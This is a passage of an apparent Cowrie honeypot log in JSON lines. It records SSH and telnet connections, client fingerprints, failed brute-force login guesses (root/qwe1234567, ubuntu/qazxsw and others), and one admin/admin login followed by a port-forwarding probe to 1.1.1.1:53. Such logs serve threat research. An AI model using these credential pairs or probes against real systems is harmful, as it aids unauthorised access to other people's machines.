af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:34.070461Z","src_ip":"181.123.136.11","session":"4cf3231b0196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1234567","message":"login attempt [root/qwe1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:34.767794Z","src_ip":"181.123.136.11","session":"4cf3231b0196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:35.955347Z","src_ip":"181.123.136.11","session":"4cf3231b0196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":42636,"dst_ip":"159.203.135.109","dst_port":23,"session":"808794fbdd49","protocol":"telnet","message":"New connection: 103.249.87.183:42636 (159.203.135.109:23) [session: 808794fbdd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:57.589517Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":43664,"dst_ip":"159.203.135.109","dst_port":23,"session":"2460edee8c29","protocol":"telnet","message":"New connection: 103.249.87.183:43664 (159.203.135.109:23) [session: 2460edee8c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:59.184211Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":55070,"dst_ip":"159.203.135.109","dst_port":23,"session":"017dcea52b5e","protocol":"telnet","message":"New connection: 103.249.87.183:55070 (159.203.135.109:23) [session: 017dcea52b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:17.039828Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":60548,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c82d2949284","protocol":"telnet","message":"New connection: 103.249.87.183:60548 (159.203.135.109:23) [session: 3c82d2949284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:25.981006Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":33702,"dst_ip":"159.203.135.109","dst_port":23,"session":"222a9e4ad79a","protocol":"telnet","message":"New connection: 103.249.87.183:33702 (159.203.135.109:23) [session: 222a9e4ad79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:28.387863Z"}
{"eventid":"cowrie.session.closed","duration":31.512834072113037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:29.102260Z","src_ip":"103.249.87.183","session":"808794fbdd49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.600839853286743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:30.784932Z","src_ip":"103.249.87.183","session":"2460edee8c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":42924,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c0d35bcac7f","protocol":"telnet","message":"New connection: 103.249.87.183:42924 (159.203.135.109:23) [session: 7c0d35bcac7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:42.826035Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":53204,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2cb5725b8fc","protocol":"ssh","message":"New connection: 181.123.136.11:53204 (10.17.0.5:22) [session: f2cb5725b8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:46.833084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:46.843657Z","src_ip":"181.123.136.11","session":"f2cb5725b8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:47.080259Z","src_ip":"181.123.136.11","session":"f2cb5725b8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gg123456","message":"login attempt [root/gg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:47.778104Z","src_ip":"181.123.136.11","session":"f2cb5725b8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.32565474510193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:48.365368Z","src_ip":"103.249.87.183","session":"017dcea52b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:49.098051Z","src_ip":"181.123.136.11","session":"f2cb5725b8fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37510,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b77c3bdf0f4","protocol":"telnet","message":"New connection: 174.138.46.234:37510 (159.203.135.109:23) [session: 6b77c3bdf0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:49.870399Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37806,"dst_ip":"159.203.135.109","dst_port":23,"session":"e48b9e6ade6e","protocol":"telnet","message":"New connection: 174.138.46.234:37806 (159.203.135.109:23) [session: e48b9e6ade6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:50.818496Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38028,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c5c6fad10b7","protocol":"telnet","message":"New connection: 174.138.46.234:38028 (159.203.135.109:23) [session: 9c5c6fad10b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:51.401488Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37406,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cdabb4b514c","protocol":"telnet","message":"New connection: 174.138.46.234:37406 (159.203.135.109:23) [session: 1cdabb4b514c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:52.663116Z"}
{"eventid":"cowrie.session.closed","duration":1.0057597160339355,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:53.668768Z","src_ip":"174.138.46.234","session":"1cdabb4b514c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.040919303894043,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:56.859271Z","src_ip":"174.138.46.234","session":"e48b9e6ade6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248350858688354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:57.229276Z","src_ip":"103.249.87.183","session":"3c82d2949284","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74260687828064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:59.130363Z","src_ip":"103.249.87.183","session":"222a9e4ad79a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00177550315857,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:17:59.289837Z","src_ip":"188.132.249.246","session":"d6e6fe50bd7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.249.246","src_port":38774,"dst_ip":"159.203.135.109","dst_port":23,"session":"d555eea3fbf8","protocol":"telnet","message":"New connection: 188.132.249.246:38774 (159.203.135.109:23) [session: d555eea3fbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:01.341258Z"}
{"eventid":"cowrie.session.closed","duration":120.00479555130005,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:04.579694Z","src_ip":"188.132.249.246","session":"be84f7c8e5fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.249.246","src_port":39108,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d615599fd9","protocol":"telnet","message":"New connection: 188.132.249.246:39108 (159.203.135.109:23) [session: 05d615599fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:05.713231Z"}
{"eventid":"cowrie.session.closed","duration":30.50135636329651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:13.327309Z","src_ip":"103.249.87.183","session":"7c0d35bcac7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53492,"dst_ip":"10.17.0.5","dst_port":22,"session":"f991828124f9","protocol":"ssh","message":"New connection: 193.32.162.145:53492 (10.17.0.5:22) [session: f991828124f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:23.602069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:23.610696Z","src_ip":"193.32.162.145","session":"f991828124f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:23.720939Z","src_ip":"193.32.162.145","session":"f991828124f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:24.040457Z","src_ip":"193.32.162.145","session":"f991828124f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:25.149152Z","src_ip":"193.32.162.145","session":"f991828124f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":52640,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e42e75b1fca","protocol":"ssh","message":"New connection: 200.118.150.20:52640 (159.203.135.109:22) [session: 2e42e75b1fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:32.818465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:32.951679Z","src_ip":"200.118.150.20","session":"2e42e75b1fca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:33.037771Z","src_ip":"200.118.150.20","session":"2e42e75b1fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazxsw","message":"login attempt [ubuntu/qazxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:33.429259Z","src_ip":"200.118.150.20","session":"2e42e75b1fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:34.521849Z","src_ip":"200.118.150.20","session":"2e42e75b1fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.44701623916626,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:34.848410Z","src_ip":"174.138.46.234","session":"9c5c6fad10b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.662513256073,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:42.532814Z","src_ip":"174.138.46.234","session":"6b77c3bdf0f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":37086,"dst_ip":"10.17.0.5","dst_port":22,"session":"f080684aa7bc","protocol":"ssh","message":"New connection: 201.217.12.57:37086 (10.17.0.5:22) [session: f080684aa7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:54.936646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:54.943027Z","src_ip":"201.217.12.57","session":"f080684aa7bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:55.128887Z","src_ip":"201.217.12.57","session":"f080684aa7bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ld123456","message":"login attempt [root/Ld123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:55.858827Z","src_ip":"201.217.12.57","session":"f080684aa7bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:18:57.053288Z","src_ip":"201.217.12.57","session":"f080684aa7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14922,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bdc2a287e8b","protocol":"ssh","message":"New connection: 87.251.64.176:14922 (10.17.0.5:22) [session: 8bdc2a287e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:18.800267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:18.805017Z","src_ip":"87.251.64.176","session":"8bdc2a287e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:18.901555Z","src_ip":"87.251.64.176","session":"8bdc2a287e8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:19.194047Z","src_ip":"87.251.64.176","session":"8bdc2a287e8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:19.296897Z","session":"8bdc2a287e8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:19.394411Z","src_ip":"87.251.64.176","session":"8bdc2a287e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:19.493772Z","src_ip":"87.251.64.176","session":"8bdc2a287e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.137.32.50","src_port":43223,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee71abf34f2d","protocol":"telnet","message":"New connection: 14.137.32.50:43223 (10.17.0.5:23) [session: ee71abf34f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:34.128827Z"}
{"eventid":"cowrie.session.closed","duration":0.5422356128692627,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:19:34.670879Z","src_ip":"14.137.32.50","session":"ee71abf34f2d","protocol":"telnet"}
